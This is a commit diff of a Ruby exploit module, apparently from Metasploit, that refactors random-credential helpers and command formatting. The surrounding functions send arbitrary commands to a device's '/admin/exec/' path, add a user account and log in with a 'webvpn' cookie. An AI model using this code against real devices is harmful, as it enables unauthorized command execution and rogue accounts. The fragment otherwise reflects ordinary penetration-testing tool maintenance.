@@ -96,7 +96,7 @@ def do_logout(cookie)
96
96
end
97
97
98
98
def run_command ( cmd , cookie )
99
- reformatted_cmd = cmd . split ( " " ) . join ( "+" )
99
+ reformatted_cmd = cmd . gsub ( / / , "+" )
100
100
101
101
res = send_request_cgi (
102
102
'uri' => "/admin/exec/#{ reformatted_cmd } " ,
@@ -126,8 +126,8 @@ def do_show_version(cookie, tries = 3)
126
126
end
127
127
128
128
def add_user ( cookie , tries = 3 )
129
- username = random_username
130
- password = random_password
129
+ username = Rex :: Text . rand_text_alpha_lower ( 8 )
130
+ password = Rex :: Text . rand_text_alphanumeric ( 20 )
131
131
132
132
tries . times do |i |
133
133
vprint_good ( "#{ peer } - Attemping to add User: #{ username } , Pass: #{ password } " )
@@ -148,18 +148,6 @@ def add_user(cookie, tries = 3)
148
148
return nil
149
149
end
150
150
151
- # Generates a random password of arbitrary length
152
- def random_password ( length = 20 )
153
- char_array = [ ( 'a' ..'z' ) , ( 'A' ..'Z' ) , ( '0' ..'9' ) ] . map { |i | i . to_a } . flatten
154
- ( 0 ...length ) . map { char_array [ rand ( char_array . length ) ] } . join
155
- end
156
-
157
- # Generates a random username of arbitrary length
158
- def random_username ( length = 8 )
159
- char_array = [ ( 'a' ..'z' ) ] . map { |i | i . to_a } . flatten
160
- ( 0 ...length ) . map { char_array [ rand ( char_array . length ) ] } . join
161
- end
162
-
163
151
def do_login ( user , pass , group )
164
152
begin
165
153
cookie = "webvpn=; " +
0 commit comments